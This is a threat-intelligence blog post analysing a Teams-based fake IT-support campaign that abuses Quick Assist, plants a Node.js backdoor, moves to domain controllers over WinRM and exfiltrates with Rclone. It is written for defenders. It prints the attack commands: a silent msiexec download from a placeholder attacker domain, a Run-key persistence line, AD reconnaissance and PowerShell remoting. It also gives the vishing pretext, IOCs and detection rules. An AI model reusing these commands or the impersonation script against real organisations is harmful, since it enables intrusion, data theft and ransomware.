# From an MS Teams Call to a Domain Admin: Analyzing an Impersonating IT Support Campaign

## Overview

Imagine a normal work morning: employees receive a direct message on Microsoft Teams from an account called "IT Helpdesk", informing them that their computer is transmitting malicious traffic and needs urgent attention. After only 20 minutes of talking on the phone, the employee completely trusted him, proactively turned on the main application Windows Quick Assist and read the authentication code. The moment the "Allow" button is pressed, the enterprise's multi-million dollar security boundary is officially penetrated without triggering any EDR or Firewall alerts.

![]( align="center")

The latest analysis report from Microsoft Security Research in collaboration with CyberProof, SOCPrime and Decipher has just exposed an extremely dangerous human-operated intrusion campaign targeting businesses using Microsoft 365. Attackers do not need complex software vulnerabilities (zero-day),but abuse the External Collaboration feature on Teams and the default Windows diagnostic tool `QuickAssist.exe`. 11/10 to turn a legitimate support session into an open door to the entire infrastructure.

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/327d23ec-a029-4a79-ac2d-4618c371cfb7.png align="center")

As soon as the victim grants permissions, a silent installation script (`msiexec /q`) immediately takes place in the dark: implanting a backdoor running on the `Node.js` portable environment, maintaining the C2 over HTTPS channel and opening the way for the attacker to move peer-to-peer via the WinRM protocol to critical Domain Controller servers.

How can a scam through the Teams application bypass the most sophisticated defense systems? What is the chain of hidden processes behind `QuickAssist.exe`, and is your business leaving these dangerous configuration blind spots open? The next sections of the article will analyze each step of Attack Flow in detail and provide a set of actionable defense solutions.

## Event Timeline

Below is the time sequence from the time the victim is approached until the attacker owns the corporate infrastructure:

1.  Initial Approach: The attacker used an external Microsoft Teams account (External Tenant) impersonating the name "IT Helpdesk", sending an emergency virus warning message.
    
2.  Establish Trust (Vishing): Make a direct voice call via Teams (vishing lasts 10 - 20 minutes), convince the victim to open the QuickAssist.exe application and provide the 6-digit authentication code.
    
3.  Remote Hijacking: The attacker successfully connects to the Quick Assist session and has full rights to operate the mouse and keyboard on the victim's computer.
    
4.  Download Payload Silently: Execute commands in the background via cmd.exe / powershell.exe calling msiexec.exe /q to download and install malicious installer packages from C2 infrastructure.
    
5.  Persistence & C2: MSI package unpacks portable node.exe + encrypted JavaScript script, establishes C2 HTTPS channel maintaining independent connection to Quick Assist session.
    
6.  AD Recon & Lateral Movement: Collect domain account information, privilege groups, scan the internal network and use WinRM (TCP 5985/5986) to jump to another server.
    
7.  Exfiltration & Staging: Deploy the Rclone tool to push sensitive data to Cloud Storage, preparing for Ransomware scenarios.
    

## Kill Chain & Attack Flow Matrix

The campaign seamlessly combines psychological manipulation (**Social Engineering**) and legal tool abuse techniques (**Living-off-the-Land - LotL**)

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/c6dd3fc1-5254-4a65-9d8d-eac4a16fa724.png align="center")

### Step 1: Reach Victims Through Microsoft Teams External Collaboration (Initial Access)

The attack circuit starts from a seemingly convenient feature on Microsoft Teams: External Collaboration (allowing interaction with users outside the organization). Because most businesses have not tightened this configuration, attackers can easily register a trial tenant with reputable display names such as IT Helpdesk, Security Operations or System Administrator.

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/dbc76a74-e301-4cde-87af-d27fdf53258b.png align="center")

From this impersonated account, they send a direct message to the victim with an urgent notification: "The system detects that your computer is emitting malicious traffic, the account will be locked if you do not cooperate to handle it immediately." Traditional Secure Email Gateway (SEG) solutions are completely bypassed at this step, because messages arise directly within the Teams application, which is beyond the control of email filters.

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/8549bc7d-932f-4a40-8c0b-ff454d2816ba.png align="center")

### Step 2: Psychological manipulation with Vishing calls

Immediately after sending the message to create panic, the attacker immediately activated a voice call (Vishing) directly on Teams. According to records from CyberProof, these calls usually last from 10 to 20 minutes. The attacker patiently plays the role of a professional support engineer, explaining fake error codes in specialized jargon to gradually remove the victim's suspicions. The combination of warning messages and direct support calls makes the victim quickly fall into a state of proactive cooperation, ready to comply with all technical instructions given.

### Step 3: Take Control of the Screen Using Windows Quick Assist

Instead of convincing victims to download third-party remote control software that is susceptible to being flagged by EDR, the Hacker group directly exploits Quick Assist (QuickAssist.exe) - a diagnostic tool built into Windows 10 and 11 by Microsoft.

The attacker will instruct the victim to press the key combination Ctrl + Windows + Q, read the 6-digit security code (Security Code) and press the "Allow" button to grant full mouse and keyboard operation rights. At this time, the defense system is completely "out of sync" because QuickAssist.exe is a process legally signed by Microsoft, connecting directly to Microsoft's official cloud infrastructure (remoteassistance.support.services.microsoft.com), making all generated network traffic completely clean in the eyes of EDR and Firewall.

### Step 4: Silently Install MSI In The Dark To Plant Node.js Backdoor

As soon as they gain control of the screen, the attacker quickly opens a command window (`cmd.exe or powershell.exe`) and executes the command to download the malicious installer package:

`msiexec.exe /q /i "https://[attacker-controlled-domain]/update.msi"`

Thanks to the /q (quiet mode) flag, the installation package executes completely silently without displaying any notification windows on the victim's screen. This MSI package extracts the Node.js Portable Runtime environment (node.exe) and the encrypted JavaScript script file into temporary folders such as `%Temp%` or `%AppData%`. To hide its whereabouts, the node.exe executable file is immediately renamed to familiar system services such as `svchost_update.exe or ms-sys-service.exe`.

### Step 5: Set Up Persistence and Independent C2 HTTPS Channel

To ensure long-term access retention even after the Quick Assist session ends or the computer restarts, the attacker registers a Registry Run Key that automatically launches the backdoor:

`reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "NodeService" /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Local\Temp\node.exe C:\Users\%USERNAME%\AppData\Local\Temp\app.js" /f`

Immediately after that, the Node.js script activates a reverse connection to the Command and Control (C2) server via HTTPS port 443 protocol. From this point on, the attacker owns a hidden C2 channel completely independent of Quick Assist, allowing them to remotely execute commands, take screenshots and monitor user actions at any time.

### Step 6: Reconnaissance Active Directory And Collect Administrator Accounts

Once they have gained a foothold, the attacker moves on to the hands-on-keyboard phase. They continuously take screenshots of victims to collect displayed data, and use official Windows commands to scout the Active Directory infrastructure:

`net group "Domain Admins" /domain`

`nltest /dclist:`

`dsquery user -name admin`

### Step 7: Migrate Peer to Domain Controller via WinRM

To extend control to critical servers without triggering EDR alerts, attackers bypass the traditional PsExec tool and leverage the Windows Remote Management (WinRM) protocol — a standard remote administration service that runs on TCP ports 5985 (HTTP) and TCP 5986 (HTTPS). They initiate a PowerShell Remoting session directly from the victim machine to the Domain Controller:

`Enter-PSSession -ComputerName DC01.corp.internal -Credential (Get-Credential)`

`Invoke-Command -ComputerName DC01.corp.internal -ScriptBlock { Whoami /all; Get-Process }`

By abusing the legitimate WinRM protocol, the attacker takes full control of the Domain Controller server without needing to push any additional malicious files to this server.

### Step 8: Extract Data and Massive Ransomware Deployment

Once in control of the top domain, the Hacker group carried out the final link of the campaign. They deploy the open source tool Rclone (disguised as a legitimate process) to silently compress and upload all sensitive business data to cloud storage services such as Mega or Google Drive. Immediately after completing exfiltration, the attacker drops ransomware executables (such as Black Basta) into the SYSVOL folder or creates a new Group Policy Object (GPO) policy to force all workstations and servers in the system to automatically download and execute data encryption malware.

## Assessing Business Impact and Risk

The IT Support impersonation attack campaign via Teams and Quick Assist is not simply an information insecurity incident at a single workstation, but brings a series of systemic risks to the entire business:

*   Operational Breakdown & Loss of Infrastructure Control: When attackers control domain controllers via WinRM, they have the right to disable user accounts, change GPO policies and suspend all IT operations of the business. The worst scenario is that the system is mass encrypted by Ransomware (like Black Basta), causing operational disruption lasting days or even weeks.
    
*   Intellectual Property & Data Exfiltration: Using Rclone to compress and upload sensitive data to public Cloud Storage directly threatens strategic documents, financial reports, personnel records, and customer data. This data is often used by cybercriminal groups as double extortion leverage (Double Extortion).
    
*   Financial Penalties & Legal Compliance Risks: Leaking personal data of customers and employees causes businesses to face serious legal penalties according to Decree 13/2023/ND-CP (on Personal Data Protection in Vietnam) as well as international standards such as GDPR. The cost of incident handling, hiring a rescue unit, data recovery, and compensation for damages can reach millions of dollars. Severe Brand
    
*   Reputation Damage (Reputational Damage): Business names appearing on hackers' public pages of stolen data (DLS / Leak Sites) will destroy the trust of partners, customers and shareholders, causing long-term damage to brand value.
    

## **IOCs & Artifacts**

### **Process Lineage & Behavioral Artifacts**

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/65964ae1-99bc-4035-8040-1c8c248806fe.png align="center")

### **Host-based Indicators**

*   C:\\Users\\AppData\\Local\\Temp\\node.exe
    
*   C:\\Users\\AppData\\Roaming\\Microsoft\\Windows\\node\_runtime\\node.exe
    
*   C:\\ProgramData\\NodeJS\\node.exe
    
*   HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\NodeService
    
*   HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\WinUpdateHelper
    

### **File indicators**

*   4cfdcae6dd1d6d98b870c8f0654d504f2bf10479a117dc297de789c249dc389d
    
*   a4d145a6347e47d40b3ca48af5c6dba01bf019d0110e31a44bb70fc77d1d1676
    
*   cc6d0f3f47afeba018173604e34f527e8413d3a54ffb35caed529bff49055ec5
    
*   0d2fc28af246f62f27e49207d1f64e236ad9ea029412b27877d1ae6c098e86e3
    
*   69e10e0cb7bb2137ebea12971adb02c662cf5543a4f8c9530812bcbf7b183a23
    
*   a135fe4df18c711097e69b4f27ea32a74a955160bf2fb12da841f21866d95d87
    

### **Payload delivery infrastructure**

*   update1n5\[.\][blob.core.windows.net](http://blob.core.windows.net)
    
*   update1n6\[.\][blob.core.windows.net](http://blob.core.windows.net)
    
*   update1n7\[.\][blob.core.windows.net](http://blob.core.windows.net)
    
*   update1n9\[.\][blob.core.windows.net](http://blob.core.windows.net)
    
*   updatetmp\[.\][blob.core.windows.net](http://blob.core.windows.net)
    

### **Command-and-control infrastructure**

*   synctimes\[.\]australiaeast\[.\]cloudapp\[.\]azure\[.\]com
    
*   webwether\[.\]eastus\[.\]cloudapp\[.\]azure\[.\]com
    
*   dssdfvsdfvsdfvsdgbfbdvdzv\[.\]org
    

## **MITRE ATT&CK Mapping**

| **Tactic** | **Technique ID** | **Technique Name** | **Campaign Description** |
| --- | --- | --- | --- |
| **Initial Access** | [T1566.004](https://attack.mitre.org/techniques/T1566/004/) | Phishing: Spearphishing Service | Leveraged Microsoft Teams External Collaboration to message target employees directly. |
| **Reconnaissance** | [T1598](https://attack.mitre.org/techniques/T1598/) | Phishing for Information | Conducted 10-20 minute vishing calls over Teams to build rapport and impersonate IT support. |
| **Execution** | [T1218.007](https://attack.mitre.org/techniques/T1218/007/) | System Binary Proxy Execution: Msiexec | Executed `msiexec /q` silently to download and install a malicious MSI package containing Node.js backdoor. |
| **Execution** | [T1059.007](https://attack.mitre.org/techniques/T1059/007/) | Command and Scripting Interpreter: JavaScript | Executed obfuscated JavaScript scripts via portable Node.js runtime as C2 implant. |
| **Command and Control** | [T1219](https://attack.mitre.org/techniques/T1219/) | Remote Access Software | Abused native Windows Quick Assist (`QuickAssist.exe`) to obtain full remote interactive access. |
| **Command and Control** | [T1071.001](https://attack.mitre.org/techniques/T1071/001/) | Application Layer Protocol: Web Protocols | Maintained persistent reverse C2 communication over HTTPS (port 443). |
| **Lateral Movement** | [T1021.006](https://attack.mitre.org/techniques/T1021/006/) | Remote Services: Windows Remote Management | Leveraged WinRM (ports TCP 5985/5986) and PowerShell Remoting to pivot to Domain Controllers. |
| **Exfiltration** | [T1567.002](https://attack.mitre.org/techniques/T1567/002/) | Exfiltration to Cloud Storage | Deployed Rclone to compress and exfiltrate sensitive files to public cloud storage before ransomware deployment. |

## Expert Comments & Vietnamese Business

### Context Shift Tactic: From Vulnerability Exploitation to Copyright Abuse & Psychology

This attack campaign shows a clear change in tactics by high-end cybercriminal groups. Instead of investing large costs in zero-day or complex software vulnerabilities (which are easily detected by vulnerability scanning solutions), attackers focus entirely on authenticated user interaction (Credential-backed Interactivity) and available tools (Living-off-the-Land). When the victim manually opens Quick Assist and accepts the connection, all security barriers at the Perimeter layer are disabled.

### Current Situation at Vietnamese

Enterprises Through SOC monitoring for Enterprise customers in Vietnam, we noticed 3 common configuration vulnerabilities:

1.  Extended Default Teams External Access: Most organizations keep the default Microsoft 365 configuration, allowing accounts from any external Tenant to message internal employees directly.
    
2.  Quick Assist Not Managed: Quick Assist is present by default on all Windows 10/11 installations but is rarely controlled by GPO or AppLocker/WDAC policies.
    
3.  Empty Internal WinRM Monitoring: WinRM connection flows between the Workstation Zone and the Server Zone are rarely subject to Firewall rules or access log monitoring.
    

## Comprehensive Defense Recommendations

### Emergency Action (0 - 24 hours)

1.  **Tighten Microsoft Teams External Access configuration:**
    
    *   Go to Microsoft Teams Admin Center → External access.
        
    *   Switch the configuration to "Allow only specific external domains" mode (only allow connections with verified partners) or completely turn off the "Teams users can communicate with external users with Teams accounts not managed by an organization" feature.
        

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/ea759c07-b700-42dd-835b-1a89207e3752.png align="center")

2.  **Block or control the Quick Assist application:**
    
    *   Use Microsoft Intune / Group Policy (GPO) to disable or remove Quick Assist if the business does not have an actual need for use.
        
    *   Add QuickAssist.exe to the block list of an AppLocker or Windows Defender Application Control (WDAC) policy.
        

### Short Term Recommendation (1 - 7 days)

1.  **Configure XDR and SIEM Detection Rules:**
    
    *   Rule 1 (Quick Assist Process Anomaly): Detect when QuickAssist.exe launches command line processes (cmd.exe, powershell.exe, msiexec.exe).
        
    *   Rule 2 (Unusual Node.js Execution): Detect the appearance of node.exe processes or Node.js-signed executable files running from the %Temp%, %AppData% or %ProgramData% folder.
        
    *   Rule 3 (WinRM Cross-Zone Traffic): Warning when there is a WinRM connection (TCP 5985/5986) initiated from the user workstation IP range to the Domain Controller IP range.
        
2.  **Issue Out-of-band Verification process:**
    
    *   Clear regulations: The IT/Helpdesk department will NEVER proactively message via Teams from an external account or request Quick Assist permission without a support ticket first opened from the user.
        
    *   Instruct employees to verify via the officially posted internal switchboard phone number before sharing the screen.
        

### Long Term Recommendations

1.  **Implement Phishing-resistant MFA:**
    
    *   Convert from OTP/Push Notification to an anti-Phishing MFA solution based on FIDO2 (Security Key) or Passkeys standards to protect Microsoft 365 accounts.
        
2.  **Network Planning & Zero Trust Segregation:**
    
    *   Block all WinRM traffic from Workstation to Server at the Network Firewall level. Only allow WinRM access from authorized administration servers (Jumpbox / Admin Workstation).
        

## References

[Impersonating IT support: how threat actors turn a remote session into enterprise-wide access | Microsoft Security Blog](https://www.microsoft.com/en-us/security/blog/2026/09/02/impersonating-it-support-threat-actors-turn-remote-session-into-enterprise-wide-access/)

[Fake IT Support Abuses Teams for Enterprise Access](https://socprime.com/active-threats/impersonating-it-support-how-threat-actors-turn-a-remote-session-into-enterprise-wide-access/?utm_source=chatgpt.com)

[New Campaign Weaponizes Microsoft Teams for Remote Access - Decipher](https://decipher.sc/2026/09/03/new-campaign-weaponizes-microsoft-teams-for-remote-access/?utm_source=chatgpt.com)

[Teams Social Engineering Attack: Threat Actors Impersonate IT to Steal Credentials via Quick Assist – CyberProof](https://www.cyberproof.com/blog/teams-social-engineering-attack-threat-actors-impersonate-it-to-steal-credentials-via-quick-assist/?utm_source=chatgpt.com)